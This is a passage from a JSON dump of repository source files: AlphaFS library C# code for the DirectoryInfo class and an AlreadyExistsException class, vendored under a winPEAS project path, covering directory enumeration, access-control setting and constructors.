    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Returns an array of strongly typed <see cref=\"FileSystemInfo\"/> entries representing all the files and subdirectories in a directory.</summary>\n      /// <returns>An array of strongly typed <see cref=\"FileSystemInfo\"/> entries.</returns>\n      /// <remarks>\n      /// For subdirectories, the <see cref=\"FileSystemInfo\"/> objects returned by this method can be cast to the derived class <see cref=\"DirectoryInfo\"/>.\n      /// Use the <see cref=\"FileAttributes\"/> value returned by the <see cref=\"FileSystemInfo.Attributes\"/> property to determine whether the <see cref=\"FileSystemInfo\"/> represents a file or a directory.\n      /// </remarks>\n      /// <remarks>\n      /// If there are no files or directories in the DirectoryInfo, this method returns an empty array. This method is not recursive.\n      /// For subdirectories, the FileSystemInfo objects returned by this method can be cast to the derived class DirectoryInfo.\n      /// Use the FileAttributes value returned by the Attributes property to determine whether the FileSystemInfo represents a file or a directory.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public FileSystemInfo[] GetFileSystemInfos()\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileSystemInfo>(null, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n\n      /// <summary>Retrieves an array of strongly typed <see cref=\"FileSystemInfo\"/> objects representing the files and subdirectories that match the specified search criteria.</summary>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <returns>An array of strongly typed <see cref=\"FileSystemInfo\"/> entries.</returns>\n      /// <remarks>\n      /// For subdirectories, the <see cref=\"FileSystemInfo\"/> objects returned by this method can be cast to the derived class <see cref=\"DirectoryInfo\"/>.\n      /// Use the <see cref=\"FileAttributes\"/> value returned by the <see cref=\"FileSystemInfo.Attributes\"/> property to determine whether the <see cref=\"FileSystemInfo\"/> represents a file or a directory.\n      /// </remarks>\n      /// <remarks>\n      /// If there are no files or directories in the DirectoryInfo, this method returns an empty array. This method is not recursive.\n      /// For subdirectories, the FileSystemInfo objects returned by this method can be cast to the derived class DirectoryInfo.\n      /// Use the FileAttributes value returned by the Attributes property to determine whether the FileSystemInfo represents a file or a directory.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public FileSystemInfo[] GetFileSystemInfos(string searchPattern)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileSystemInfo>(null, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n\n      /// <summary>Retrieves an array of strongly typed <see cref=\"FileSystemInfo\"/> objects representing the files and subdirectories that match the specified search criteria.</summary>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      /// <returns>An array of strongly typed <see cref=\"FileSystemInfo\"/> entries.</returns>\n      /// <remarks>\n      /// For subdirectories, the <see cref=\"FileSystemInfo\"/> objects returned by this method can be cast to the derived class <see cref=\"DirectoryInfo\"/>.\n      /// Use the <see cref=\"FileAttributes\"/> value returned by the <see cref=\"FileSystemInfo.Attributes\"/> property to determine whether the <see cref=\"FileSystemInfo\"/> represents a file or a directory.\n      /// </remarks>\n      /// <remarks>\n      /// If there are no files or directories in the DirectoryInfo, this method returns an empty array. This method is not recursive.\n      /// For subdirectories, the FileSystemInfo objects returned by this method can be cast to the derived class DirectoryInfo.\n      /// Use the FileAttributes value returned by the Attributes property to determine whether the FileSystemInfo represents a file or a directory.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public FileSystemInfo[] GetFileSystemInfos(string searchPattern, SearchOption searchOption)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileSystemInfo>(null, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetFiles.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Returns a file list from the current directory.</summary>\n      /// <returns>An array of type <see cref=\"FileInfo\"/>.</returns>\n      /// <remarks>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</remarks>\n      /// <remarks>If there are no files in the <see cref=\"DirectoryInfo\"/>, this method returns an empty array.</remarks>\n      /// <remarks>\n      /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public FileInfo[] GetFiles()\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileInfo>(false, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n\n      /// <summary>Returns a file list from the current directory matching the given search pattern.</summary>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <returns>An array of type <see cref=\"FileInfo\"/>.</returns>\n      /// <remarks>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</remarks>\n      /// <remarks>If there are no files in the <see cref=\"DirectoryInfo\"/>, this method returns an empty array.</remarks>\n      /// <remarks>\n      /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public FileInfo[] GetFiles(string searchPattern)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileInfo>(false, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n\n      /// <summary>Returns a file list from the current directory matching the given search pattern and using a value to determine whether to search subdirectories.</summary>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      /// <returns>An array of type <see cref=\"FileInfo\"/>.</returns>\n      /// <remarks>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</remarks>\n      /// <remarks>If there are no files in the <see cref=\"DirectoryInfo\"/>, this method returns an empty array.</remarks>\n      /// <remarks>\n      /// The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      /// before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      /// Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public FileInfo[] GetFiles(string searchPattern, SearchOption searchOption)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileInfo>(false, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.RefreshEntryInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Refreshes the state of the <see cref=\"FileSystemEntryInfo\"/> EntryInfo property.</summary>\n      [SecurityCritical]\n      public new void RefreshEntryInfo()\n      {\n         base.RefreshEntryInfo();\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.SetAccessControl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the directory described by the current DirectoryInfo object.</summary>\n      /// <param name=\"directorySecurity\">A <see cref=\"DirectorySecurity\"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public void SetAccessControl(DirectorySecurity directorySecurity)\n      {\n         File.SetAccessControlCore(LongFullName, null, directorySecurity, AccessControlSections.All, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Applies access control list (ACL) entries described by a <see cref=\"DirectorySecurity\"/> object to the directory described by the current DirectoryInfo object.</summary>\n      /// <param name=\"directorySecurity\">A <see cref=\"DirectorySecurity\"/> object that describes an ACL entry to apply to the directory described by the path parameter.</param>\n      /// <param name=\"includeSections\">One or more of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to set.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public void SetAccessControl(DirectorySecurity directorySecurity, AccessControlSections includeSections)\n      {\n         File.SetAccessControlCore(LongFullName, null, directorySecurity, includeSections, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Exposes instance methods for creating, moving, and enumerating through directories and subdirectories. This class cannot be inherited.</summary>\n   [Serializable]\n   public sealed partial class DirectoryInfo : FileSystemInfo\n   {\n      #region Constructors\n\n      #region .NET\n\n      /// <summary>Initializes a new instance of the <see cref=\"DirectoryInfo\"/> class on the specified path.</summary>\n      /// <param name=\"path\">The path on which to create the <see cref=\"DirectoryInfo\"/>.</param>\n      /// <remarks>\n      /// This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations.\n      /// The path parameter can be a file name, including a file on a Universal Naming Convention (UNC) share.\n      /// </remarks>\n      public DirectoryInfo(string path) : this(null, path, PathFormat.RelativePath)\n      {\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryInfo\"/> class on the specified path.</summary>\n      /// <param name=\"path\">The path on which to create the <see cref=\"DirectoryInfo\"/>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <remarks>This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations.</remarks>\n      public DirectoryInfo(string path, PathFormat pathFormat) : this(null, path, pathFormat)\n      {\n      }\n\n      /// <summary>[AlphaFS] Special internal implementation.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fullPath\">The full path on which to create the <see cref=\"DirectoryInfo\"/>.</param>\n      /// <param name=\"junk1\">Not used.</param>\n      /// <param name=\"junk2\">Not used.</param>\n      /// <remarks>This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations.</remarks>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA1801:ReviewUnusedParameters\", MessageId = \"junk1\")]\n      [SuppressMessage(\"Microsoft.Usage\", \"CA1801:ReviewUnusedParameters\", MessageId = \"junk2\")]\n      private DirectoryInfo(KernelTransaction transaction, string fullPath, bool junk1, bool junk2)\n      {\n         IsDirectory = true;\n         Transaction = transaction;\n\n         LongFullName = Path.GetLongPathCore(fullPath, GetFullPathOptions.None);\n\n         OriginalPath = Path.GetFileName(fullPath, true);\n\n         FullPath = fullPath;\n\n         DisplayPath = OriginalPath.Length != 2 || OriginalPath[1] != Path.VolumeSeparatorChar ? OriginalPath : Path.CurrentDirectoryPrefix;\n      }\n\n\n      #region Transactional\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryInfo\"/> class on the specified path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path on which to create the <see cref=\"DirectoryInfo\"/>.</param>\n      /// <remarks>This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations.</remarks>\n      public DirectoryInfo(KernelTransaction transaction, string path) : this(transaction, path, PathFormat.RelativePath)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"DirectoryInfo\"/> class on the specified path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path on which to create the <see cref=\"DirectoryInfo\"/>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <remarks>This constructor does not check if a directory exists. This constructor is a placeholder for a string that is used to access the disk in subsequent operations.</remarks>\n      public DirectoryInfo(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         InitializeCore(transaction, true, path, pathFormat);\n      }\n\n      #endregion // Transactional\n\n      #endregion // Constructors\n\n\n      #region Properties\n\n      #region .NET\n\n      /// <summary>Gets a value indicating whether the directory exists.</summary>\n      /// <remarks>\n      ///   <para>The <see cref=\"Exists\"/> property returns <c>false</c> if any error occurs while trying to determine if the\n      ///   specified directory exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a directory name with invalid characters or too many\n      ///   characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the directory.</para>\n      /// </remarks>\n      /// <value><c>true</c> if the directory exists; otherwise, <c>false</c>.</value>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      public override bool Exists\n      {\n         [SecurityCritical]\n         get\n         {\n            try\n            {\n               if (DataInitialised == -1)\n                  Refresh();\n\n               return DataInitialised == 0 && IsDirectory;\n            }\n            catch\n            {\n               return false;\n            }\n         }\n      }\n\n\n      /// <summary>Gets the name of this <see cref=\"DirectoryInfo\"/> instance.</summary>\n      /// <value>The directory name.</value>\n      /// <remarks>\n      ///   <para>This Name property returns only the name of the directory, such as \"Bin\".</para>\n      ///   <para>To get the full path, such as \"c:\\public\\Bin\", use the FullName property.</para>\n      /// </remarks>\n      public override string Name\n      {\n         get { return FullPath.Length > 3 ? Path.GetFileName(Path.RemoveTrailingDirectorySeparator(FullPath), true) : FullPath; }\n      }\n\n\n      /// <summary>Gets the parent directory of a specified subdirectory.</summary>\n      /// <value>The parent directory, or null if the path is null or if the file path denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").</value>\n      public DirectoryInfo Parent\n      {\n         [SecurityCritical]\n         get\n         {\n            var path = FullPath;\n\n            if (path.Length > 3)\n               path = Path.RemoveTrailingDirectorySeparator(FullPath);\n\n            var dirName = Path.GetDirectoryName(path, false);\n\n            return null != dirName ? new DirectoryInfo(Transaction, dirName, true, true) : null;\n         }\n      }\n\n\n      /// <summary>Gets the root portion of the directory.</summary>\n      /// <value>An object that represents the root of the directory.</value>\n      public DirectoryInfo Root\n      {\n         [SecurityCritical]\n         get { return new DirectoryInfo(Transaction, Path.GetPathRoot(FullPath, false), PathFormat.RelativePath); }\n      }\n\n      #endregion // .NET\n\n      #endregion // Properties\n\n\n      #region Methods\n\n      /// <summary>Returns the original path that was passed by the user.</summary>\n      /// <returns>A string that represents this object.</returns>\n      public override string ToString()\n      {\n         return DisplayPath;\n      }\n\n      #endregion // Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/AlreadyExistsException.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Globalization;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] The exception that is thrown when an attempt to create a file or directory that already exists was made.\n   /// Both <c>ERROR_ALREADY_EXISTS</c> and <c>ERROR_FILE_EXISTS</c> can cause this Exception.\n   /// </summary>\n   [Serializable]\n   public class AlreadyExistsException : System.IO.IOException\n   {\n      private static readonly int ErrorCode = Win32Errors.GetHrFromWin32Error(Win32Errors.ERROR_ALREADY_EXISTS);\n      private static readonly string ErrorText = string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", Win32Errors.ERROR_ALREADY_EXISTS, new Win32Exception((int) Win32Errors.ERROR_ALREADY_EXISTS).Message.Trim().TrimEnd('.').Trim());\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"AlreadyExistsException\"/> class.</summary>\n      public AlreadyExistsException() : base(string.Format(CultureInfo.InvariantCulture, \"{0}.\", ErrorText), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"AlreadyExistsException\"/> class.\n      /// Both <c>ERROR_ALREADY_EXISTS</c> and <c>ERROR_FILE_EXISTS</c> can cause this Exception.\n      /// </summary>\n      /// <param name=\"message\">The custom error message..</param>\n      public AlreadyExistsException(string message) : base(message, ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"AlreadyExistsException\"/> class.</summary>\n      /// <param name=\"path\">The path to the file system object.</param>\n      /// <param name=\"isPath\">Always set to true when using this constructor.</param>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA1801:ReviewUnusedParameters\", MessageId = \"isPath\")]\n      public AlreadyExistsException(string path, bool isPath) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), ErrorCode)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"AlreadyExistsException\"/> class.</summary>\n      /// <param name=\"path\">The path to the file system object.</param>\n      /// <param name=\"innerException\">The inner exception.</param>\n      public AlreadyExistsException(string path, Exception innerException) : base(string.Format(CultureInfo.InvariantCulture, \"{0}: [{1}]\", ErrorText, path), innerException)\n      {\n      }\n\n\n      /// <summary>[AlphaFS] Initializes a new instance of the <see cref=\"AlreadyExistsException\"/> class.</summary>\n      /// <param name=\"info\">The data for serializing or deserializing the object.</param>\n      /// <param name=\"context\">The source and destination for the object.</param>\n      protected AlreadyExistsException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Exceptions/DeviceNotReadyException.cs",
